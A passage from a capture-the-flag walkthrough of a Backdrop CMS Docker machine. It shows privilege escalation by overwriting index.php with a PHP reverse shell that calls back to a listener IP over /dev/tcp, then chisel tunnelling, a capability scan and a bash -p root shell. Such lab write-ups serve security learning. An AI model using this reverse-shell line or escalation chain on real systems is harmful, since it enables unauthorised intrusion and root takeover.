i.e. if URI is set to http://default/bar/foo.php
and bar/foo.php exists, this script will be executed without
bootstrapping Backdrop. To execute Backdrop's cron.php, specify
http://default/core/cron.php as the URI.
The URI passed to the backdrop.sh script from the heartbeat.sh script is https://localhost. So, if we replace index.php with a php reverse shell we will get a shell as root on the container.
Start a reverse shell with pwncat-cs -lp 30076. Then run echo "<?php exec(\"/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.98/30076 0>&1'\");?>" > /var/www/html/backdrop/index.php. This creates a revere shell as root on the container!
Right now we have chisel running as the hflaccus user to forward the Backdrop CMS interface to our attacker machine. On top of that, we have a reverse shell to www-data on the Backdrop CMS Docker container. And on top of that, we have a reverse shell to root on the container via a script that is run on a schedule.
Reupload CDK onto the box as root now. Running it with ./cdk_linux_amd64 eva --full finds: Cap decode: 0x00000000a00425fb = CAP_CHOWN,CAP_DAC_OVERRIDE,CAP_FOWNER,CAP_FSETID,CAP_KILL,CAP_SETGID,CAP_SETUID,CAP_SETPCAP,CAP_NET_BIND_SERVICE,CAP_NET_RAW,CAP_SYS_CHROOT,CAP_AUDIT_WRITE,CAP_SETFCAP.
Then, on our SSH connection as the hflaccus user, we simply execute bash -p and get a root shell. Note: This only worked once I exited from the container reverse shell. Finally, run cat /root/root.txt to get the root.txt flag.
After rooting the machine, we find the voicemail we heard as a file in /root: voicemail.wav.